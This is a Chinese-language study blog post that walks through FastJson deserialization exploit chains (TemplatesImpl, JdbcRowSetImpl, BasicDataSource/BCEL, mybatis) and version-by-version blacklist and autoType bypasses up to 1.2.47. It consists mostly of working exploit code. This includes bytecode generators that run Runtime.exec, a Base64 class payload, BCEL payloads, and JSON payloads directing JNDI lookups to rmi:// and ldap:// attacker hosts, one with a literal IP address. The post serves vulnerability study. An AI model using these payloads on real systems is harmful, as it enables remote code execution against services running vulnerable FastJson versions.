0x00 前言
浅学一下
0x01 环境配置
Maven
使用Maven导入依赖,如下:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
0x02 FastJson的序列化
序列化
FastJson中序列化函数有toJSONString和toJSONBytes,不过这都8重要。在序列化时,会调用对应类的getter。编写一个测试类Tester(注意要有一个默认构造函数):
public class Tester {
private String name;
// 反序列化一定要有默认构造函数
public Tester(){
}
public Tester(String name){
System.out.println("调用构造方法");
this.name = name;
}
public void setName(String name){
this.name = name;
System.out.println("调用SETTER");
}
public String getName() {
System.out.println("调用GETTER");
return this.name;
}
}
然后我们进行一个测试:
import com.alibaba.fastjson.JSON;
public class Foobar {
public static void main(String[] args){
String testSer = JSON.toJSONString(new Tester("chenlvtang"));
System.out.println(testSer);
}
}
输出结果如下:
反序列化
在FastJson中,反序列化,主要有两个函数:
- parse
- parseObject
这两者的区别在于,parseObject会在调用完parse后,将其转化为JSONObject,源码如下:
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
如果没有指定类型,默认都是JSONObject类,只有在序列化内容中使用@type(autoType)或者在parseObject参数中指定对应的类,才能够将其转换为对应的类,测试代码如下:
// parse反序列化
System.out.println("parse():");
Object testUnser = JSON.parse(testSer);
System.out.println(testUnser.getClass().getName());
System.out.println("=========================");
// parseObject反序列化
System.out.println("parseObject():");
testUnser = JSON.parseObject(testSer);
System.out.println(testUnser.getClass().getName());
System.out.println("=========================");
// parse指定类型的转换
System.out.println("parse(@type):");
String testSerType = "{\"@type\":\"Tester\",\"name\":\"chenlvtang\"}";
testUnser = JSON.parse(testSerType);
System.out.println(testUnser.getClass().getName());
System.out.println("=========================");
// parseObject指定类型的转换,无Object.class
System.out.println("parseObject(@type):");
Object tester = JSON.parseObject(testSerType);
System.out.println(tester.getClass().getName());
System.out.println("=========================");
// parseObject指定类型的转换
System.out.println("parseObject(@type, Object.class):");
// 注意这里要设定Object.class, 不然会默认转为JSONObject
tester = JSON.parseObject(testSerType, Object.class);
System.out.println(tester.getClass().getName());
System.out.println("=========================");
// parseObject指定类型的转换
System.out.println("parseObject(, Tester.class):");
testUnser = JSON.parseObject(testSer, Tester.class);
System.out.println(testUnser.getClass().getName());
注意上面,parseObject在以@type反序列化时,需要指定一个Object.class,不然会默认转换为JSONObject,感兴趣可以追踪源码。上文的输出如下图所示:
观察上面的输出,可以发现,parse在反序列化时会调用对应类(需要指定)的setter(还有特殊情况的getter,见下文),而parseObject因为多了一步toJSON,所以除了调用setter外还会调用getter(没指定Object.class的情况下)。
总的来说就是在反序列化过程中,会调用对应类的setter或者getter,这有什么风险呢?很容易想到,当某个类的setter和getter中存在危险函数时,就可以借助反序列化来执行,这就是FastJson反序列化漏洞的原理。
parse调用getter
根据各位师傅(图片选自@…师傅)对fastjson反序列化源代码分析:
可以知道当我们的getter方法满足下面条件时,就会被parse调用:
- 函数名长度大于等于
4
- 非静态方法
- 以
get
开头且第4
个字母为大写 - 无参数
- 返回值类型继承自
Collection
或Map
或AtomicBoolean
或AtomicInteger
或AtomicLong
0x03 TemplatesImpl链
回顾
Template链算是我们的老朋友了,在Java反序列化之CC2 一文中首次登场,不熟悉的可以回过头再看一下(好吧,我自己都忘记了,哈哈
FastJson中的调用
上文说到过FastJson反序列化漏洞,是通过调用类的getter和setter,但是在我们的Template链中我们只分析了入口为newTransform。是的,TemplatesImpl里面恰好就有这么一个getter,他不仅调用了我们的newTransfomer,并且满足上文说的parse需要的getter条件——”getOutputProperties“:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
这里的返回类型是Properties,他继承了Hashtable,Hashtable实现了Map接口,所以满足条件。
几处小细节
a)反序列化不存在setter方法的private变量时,需要加上参数Feature.SupportNonPublicField,测试代码如下:
public class Tester {
private String name;
private String test = "Test"; //不给他Setter方法
//略
testSerType = "{\"@type\":\"Tester\",\"name\":\"chenlvtang\", \"test\":\"foo\"}";
testUnser = JSON.parseObject(testSerType, Object.class);
Tester testUnser1 = (Tester) testUnser;
调试后,发现并没有成功赋值:
加上Feature.SupportNonPublicField后,成功赋值,这里就不再展示了。为什么要强调这一点呢,因为我们的Templat链里,好多变量并不存在setter,这也是这条链的缺陷。
b)getOutputProperties对应的成员变量是什么?
你可能会觉得是outputProperties,但是TemplatesImpl里面并没有这个,而只有_outputProperties
。那是他吗?是的,因为我们知道,在变量面前加_
一般是表示其私有的意思,FastJson在处理时,会自动帮我们去除,并找到对应的getter。感兴趣的话,可以自己在FastJson的源码搜索smartMatch
, 还有个属性,可以关闭他:Feature.DisableFieldSmartMatch
。
c)_bytecodes[][]的处理
FastJson在处理byte[]数组时,会进行Base64解码的操作,如下:
ObjectArrayCodec.java
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
// ......省略部分代码
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue(); // ... 在这里解析byte数组值
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
// 接着调用JSONScanner.bytesValue()
JSONScanner.java
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
所以我们的Payload中就需要Base64编码(其实如果不编码,我都还不知道怎么把字节类型的Payload塞进去ORZ
payload的构造
第一步,构造出恶意类模板,别忘了CC2中提到的点:
- 需要继承AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplate extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
第二步,使用Javassist插入恶意方法,然后Base64编码:
public class MakeAndBase64 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(EvilTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("EvilTemplate");
byte[] bytecode = ctClass.toBytecode();
String base64ByteCode = Base64.getEncoder().encodeToString(bytecode);
//System.out.println(base64ByteCode);
}
}
第三步,构造恶意JSON数据:
public class MakeEvilJson {
public static void main(String[] args){
String evilJson = "{" +
"\"@type\": " +
"\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_name\": " +
"\"chenlvtang\"," +
"\"_tfactory\":" +
"{},"+
"\"_bytecodes\":"+
"[\"yv66vgAAADQAOQoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MRXZpbFRlbXBsYXRlOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEAEUV2aWxUZW1wbGF0ZS5qYXZhDAAJAAoHAC4MAC8AMAEACGNhbGMuZXhlDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAxFdmlsVGVtcGxhdGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQwALwAwCgAlADQIACcMADEAMgoAJQA3ACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAADQANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAagACAAEAAAAbuAA1Eja2ADhXuAACEgO2AARXpwAISyq2AAaxAAEACQASABUABQADAAwAAAAWAAUACQAWABIAGQAVABcAFgAYABoAGgANAAAADAABABYABAAeAB8AAAAgAAAABwACVQcAIQQAAQAiAAAAAgAj\"],"+
"\"_outputProperties\":"+
"{}"+
"}";
JSON.parseObject(evilJson, Feature.SupportNonPublicField);
}
}
这里要注意和CC链中构造不同的是,对象要写成{}
,数组要写成[]
,所以我们payload中_tfactory(要是一个对象,但是这里是直接置为空就行,我怀疑我之前构造CC2的时候也可以一个基类)和_bytecodes(是一个数组)都有相应的变换。
最后一步,测试,成功弹出熟悉的计算器!
0x04 JdbcRowSetImpl链
分析
这条链非常滴简单,首先定位到com.sun.rowset.JdbcRowSetImpl的setAutoCommit函数:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
当this.conn为空时,会调用this.connect(),跟进:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return ...
// 忽略
}
当this.getDataSourceName()不为空时,使用了JNDI的lookup,所以我们可以借此实现JNDI注入,不记得的话,请看:JNDI注入の拙见、高版本JDK下的JNDI注入, getDataSourceName()如下:
public String getDataSourceName() {
return dataSource;
}
所以实际上,只要控制dataSource的值就够了,因为我们的conn默认就是null,并且这里dataSource虽然是private,但是还存在setter(setDataSourceName),所以比template链限制更小,只受制于JNDI。而且这个链的触发点是setAutoCommit,不同于getter,setter在反序列化时无论怎样都是会调用的。
一处小细节
上文说到过,FastJson在反序列化时,实际上时通过调用setter来给成员赋值。我们这里的dataSource存在setter,但是名称为setDataSourceName:
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
那我们传参是用dataSource,还是dataSourceName呢?答案是,dataSourceName,这样fastjson才能调用到setter,从而实现datasource成员的赋值。(这部分代码貌似都是ASM操作字节码实现的,不知道师傅们是怎么调试的)
同时还要注意autoCommit要是布尔类型。
payload的构造
JNDI的打法,在上文两篇文章都有给出,不想再赘述了(实际上懒),这里仅以VPS的nc监听端口(你也可以用dnslog平台)来判断是否成功:
public class JdbcHacker {
public static void main(String[] args){
String evilJson = "{" +
"\"@type\":" +
"\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":" +
"\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}";
JSON.parse(evilJson);
}
}
成功:
0x04 BasicDataSource链(BCEL)
前言
这个链条利用条件比前两个都要低,他不需要开启额外的选项,也不像JNDI一样需要目标出网,但是很可惜的是,在JDK8u251后,其ClassLoader就找不到了。
具体可看:P牛的博客
依赖导入
BasicDataSource在Tomcat8之前,类路径为org.apache.tomcat.dbcp.dbcp.BasicDataSource,Maven导入配置如下:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>
Tomcat8.0之后,路径为org.apache.tomcat.dbcp.dbcp2.BasicDataSource,Maven的配置如下:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
Sink分析
在其 getConnection()中会调用createDataSource:
public Connection getConnection() throws SQLException {
return this.createDataSource().getConnection();
}
跟进createDataSource又会调用createConnectionFactory:
protected synchronized DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
//这里
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
继续跟进createConnectionFactory可以看到调用了Class.forName来加载类:
protected ConnectionFactory createConnectionFactory() throws SQLException {
Class driverFromCCL = null;
String user;
if (this.driverClassName != null) {
try {
try {
if (this.driverClassLoader == null) {
//这里
Class.forName(this.driverClassName);
} else {
//这里
Class.forName(this.driverClassName, true, this.driverClassLoader);
我们在之前的反序列化学习中,似乎已经见过了ClassLoader加载类,而在这里和JDBC中是使用的Class.forName,两者有什么区别呢?其实Class.forName底层也是用过调用ClassLoader来实现,但是ClassLoader只会把类装入JVM内存,而Class.forName不仅会把类装入内存,还会去初始化,此时如果类中存在static静态代码块,则会被触发执行。
这里的参数都是可控的,所以如果有一个类中存在静态的代码块,就能够与之结合来利用……但是师傅们可能会觉得,这不是没用吗,哪里会有这样的类。确实,除非自己构造一个,不然这样的类确实不太可能有。但是我们注意到这里除了可以传入driverClassName外,还可以传入driverClassLoader,而恰好就有这么一个ClassLoader,给了我们加载任意恶意类的机会。
BCEL部分分析
(这里记得换低版本的JDK)在com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass之中,我们可以看到,他会先将BCEL编码解码,并在解码后直接获取字节码,然后将其加载:
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
//省略
//如果是BCEL码
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);//解码
//省略
if(clazz != null) {
byte[] bytes = clazz.getBytes();
//注意这里
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
//省略
return cl;
}
因此,如果把BasicDataSource中的this.driverClassLoader指定为com.sun.org.apache.bcel.internal.util.ClassLoader,this.driverClassName指定为恶意类的BCEL码,我们即可实现攻击。其编码解码操作方法如下:
String str = Utility.encode(cls.getBytes(),true);
byte[] bytes = Utility.decode(real_name, true);
其中字节码的获取可以使用BCEL库的Repository.lookupClass().getBytes(),也可以使用之前CC链之中的Javassist来创建。
小细节
从上文,我们似乎已经可以构造出Payload了,但是我们不要忘了,我们的触发点是getConnection(),很显然,这是一个getter。而我们在上文说过,ParseObject会调用getter(因为他有一个toJson),这自然是没有问题的。但是在Parse下,要触发getter是存在条件的,即:
- 函数名长度大于等于
4
- 非静态方法
- 以
get
开头且第4
个字母为大写 - 无参数
- 返回值类型继承自
Collection
或Map
或AtomicBoolean
或AtomicInteger
或AtomicLong
这里getConnection的返回类型为Connection类型,继承的是Wrapper和AutoCloseable,显然是不符合要求的。那这就意味着Parse下无法利用吗?并不是的,我们将在下文进行讲解,看看大师傅们是如何巧妙地构造出可用Payload。
ParseObject下的Payload
如上文所说,在ParseObject下,我们完全不用担心什么。首先创建一个恶意类:
public class WanaHacker {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
然后利用Javassist生成字节码并进行BCEL编码:
public class AnotherTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clz = pool.get(WanaHacker.class.getName());
byte[] bytes = clz.toBytecode();
String evilCode = Utility.encode(bytes,true);
System.out.println(evilCode);
}
}
之后将Payload拼接:
String payload = "{" +
"\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
"\"driverClassLoader\": {" +
"\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":" +
"\"$$BCEL$$" + evilCode + "\"" +
"}";
JSON.parseObject(payload);
Parse下Payload
如上文所说,这里的getConnection不符合parse调用getter的规则,但是大师傅们给出了巧妙的解决办法:
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
我们将其抽象的表达为如下的形式:
{
{
"x":{
ParseObject的Payload
}
}: "x"
}
- 首先是将原payload包上{},放在value的位置,这样反序列化后,就会获得一个JSONObject对象
- 之后再将其包上{},放在key的位置,在Parse中,Key为Json,则会调用其toString方法,而toString会遍历getter,从而实现触发。
0x05 绕过导论
autoTypeSupport选项
在1.2.25后,FastJson针对反序列化进行了修复,添加了autoTypeSupport选项并增加了一个checkAutoType方法。autoTypeSupport默认为false,此时不再支持@type;当为true时,checkAutoType方法会进行黑白名单的校验。使用如下语句可以开启autoTypeSupport:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
下面为在DefaultJsonParser(调用栈中的一环)增加的调用ParserConfig类CheckAutoType方法的逻辑:
if (key == JSON.DEFAULT_TYPE_KEY && !this.lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = this.lexer.scanSymbol(this.symbolTable, '"');
//经过checkAutoType的检查
Class<?> clazz = this.config.checkAutoType(typeName, (Class)null, this.lexer.getFeatures());
if (!Map.class.isAssignableFrom(clazz)) {
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
this.lexer.nextToken(16);
this.setResolveStatus(2);
if (context != null && !(fieldName instanceof Integer)) {
this.popContext();
}
Map var22 = (Map)deserializer.deserialze(this, clazz, fieldName);
return var22;
}
checkAutoType方法
当为true时,有以下处理流程(ParseConfig类):
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
可以看到,如果在白名单内,则会直接调用TypeUtils.loadClass加载类,不在白名单则继续黑名单校验,如果在黑名单中,则会抛出异常。查看this.denyList,得到黑名单(V 1.2.25)如下(可以看到com.sun在黑名单里):
0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"
如果也通过了黑名单校验,则会使用TypeUtils.loadClass进行类的加载:
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
TypeUtils.loadClass方法
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
可以看到,在loadClass中会对[xxx
和Lxxx;
的格式进行截取,然后进行类的加载。那这里会有个什么问题呢?我们注意到,在上文黑名单的校验中,使用的是startsWith()。那么这里很显然就存在一个逻辑问题,如果我们以提到的这两种形式去构造Payload,就可以轻易的绕过黑名单校验。
绕过研究方向
对于此次的修复,有两类绕过的研究方向:
- 绕过autoTypeSupport
- 开启autoTypeSupport选项时,根据loadClass和黑名单校验的startsWith间的逻辑问题,或是黑名单之外的链,来绕过checkAutoType的黑名单
这里,我更加欣赏对autoTypeSupport的绕过,因为这样的Payload限制更少,不需要目标开启autoTypeSupport选项。
0x06 绕过详解
1.2.25-1.2.41
如上文所提到的,在这些版本中,直接使用[xxx
或是Lxxxx;
即可绕过:
这里[xxx
形式的payload可以根据报错信息进行构造:
可以知道,要把逗号换成[
,然后又有新的报错如下:
增加一个{
,成功执行:
所以下次直接构造["xxxx"[{
即可。
1.2.42
这个版本进行了新的修复,将黑名单换为了hash值(这些hash值对应的类已经有人碰撞出来了,可自己搜索一下)的比较:
if (this.autoTypeSupport || expectClass != null) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
并且在进入黑白检查前之前增加了一段代码:
这里实际就是对上一个版本的修复,对类名的开头和结尾进行截取,去除L
和;
。但是因为没有对[xxxx
的形式进行修复,所以这里依然可行。并且我们在上文提到过,在TypeUtils.loadClass中同样会进行L
和;
的截取,所以当我双写L;
时,去除一层L;
后hash值依然匹配不上黑名单,从而导致绕过,并且最后在TypeUtils.loadClass再去除一次时,成功加载恶意类。因此,可用的Payload如下:
String evilJson = "{" +
"\"@type\":" +
"\"[com.sun.rowset.JdbcRowSetImpl\"[{" +
"\"dataSourceName\":" +
"\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}";
//或是
String evilJson = "{" +
"\"@type\":" +
"\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":" +
"\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}";
1.2.43
在1.2.43中针对1.2.42中的双写绕过进行了修复,修复方法也是很粗暴,如果类以LL开头,则直接抛出异常,但还是没有针对[xxx
进行修复 :
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//判断了是不是LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
双写不能用,但是如上所说,还能使用[xx
,所以此版本还是可被攻击。
1.2.44-1.2.45
在这个版本之中,终于修复了[xxx
:(并且连Lxxx;
这种都不行了)
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
//如果是[开头
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
}//如果是Lxxx;的形式
else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
可以看到[
开头和Lxxx;
都不再能使用,会直接抛出异常。但是又有一条新的链可以实现攻击(类名不在黑名单中)——mybatis链。
mybatis链
mybatis链需要对方存在mybatis的jar。我们在pom.xml中添加:
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.5</version>
</dependency>
在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory包中存在setProperties方法,其中会调用JNDI:
public void setProperties(Properties properties) {
try {
Properties env = getEnvProperties(properties);
InitialContext initCtx;
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
if (properties.containsKey("initial_context") && properties.containsKey("data_source")) {
Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context"));
this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source"));
} else if (properties.containsKey("data_source")) {
//注意这里,可以JNDI注入
this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source"));
}
// ...略
当properties参数存在“data_source”时,会调用JNDI,并传入data_source的值。因此,可以构造payload如下:
String evilJson = "{" +
"\"@type\":" +
"\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":" +
"{\"data_source\": \"ldap://xxx.xxx.xx.xx:2333/hacker\"}" +
"}";
但是,在1.2.46版本中,把mybatis链加入到了黑名单。
1.2.25-1.2.47
在上文说过,针对1.2.25添加的autoTypeSupport,有两种方式,一种是绕过其黑名单,还有一种是从根本上绕过这个选项的设置。本小节就是利用缓存来从根本上绕过autoTypeSupport,从而做到了通杀,直到在1.2.48中被修复。
在没开启autoTypeSupport时,会跳过上文检查分支,并经过如下代码的处理:
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
第一个getClassFromMapping从 TypeUtils的Mapping里获取类,第二个deserializers在ParserConfig类的构造函数中会调用initDeserialzers来初始化,可以浅看一下:
private void initDeserializers() {
this.deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
this.deserializers.put(Timestamp.class, SqlDateDeserializer.instance_timestamp);
this.deserializers.put(Date.class, SqlDateDeserializer.instance);
this.deserializers.put(Time.class, TimeDeserializer.instance);
this.deserializers.put(java.util.Date.class, DateCodec.instance);
this.deserializers.put(Calendar.class, CalendarCodec.instance);
this.deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);
留意这里的MiscCodec。在DefaultJsonParser类中,我们可以清晰的看到,在完成ParserConfig获取后,会先获取他的deserialzer,并最后会调用他的deserialze方法
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = config.checkAutoType(typeName, null);
// 中间一大堆忽略
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}
这里我们跟进上面留意的MiscCodec,在其deserial方法中:
可以看到,当类为Class类时,会调用TypeUtile.loadClass,但是这又不是一个恶意类,有什么用呢?我们注意到这里传入的参数为strVal,strVal来自于ObejectVal (”strVal = (String)objVal“),而ObjectVal获取如下:
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}
//参数名必须为val
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}
此处实际上就是获取其val参数的值(其实我自己也有点没看懂这里代码逻辑,以后再详细阐述一下),所以上文的TypeUtile.loadClass最终是加载了Class类中val参数的值,这有什么用呢?在TypeUtile.loadClass中我们可以看到,其在每次加载完后,都会把其加入到mapping之中,类似于缓存一样
这里的cache,默认为true:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
所以这就意味着,我们可以利用Class类的val参数给TypeUtile的mapping缓存添加上任意类,而在上文我们说过,当autoTypeSupport未开启时,会跳过检查分支,尝试从mapping获取。因此,我们可以先通过Class类的val参数给mapping加上恶意类,之后就能成功的从mapping中获取到恶意类并直接return。
于是,我们可以构造出如下的Payload:
String evilJson =
"{" +
"\"foo\": {" +
"\"@type\":" +
"\"java.lang.Class\"," +
"\"val\":" +
"\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"bar\": {" +
"\"@type\":" +
"\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":" +
"\"ldap://112.124.55.122:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}" +
"}";
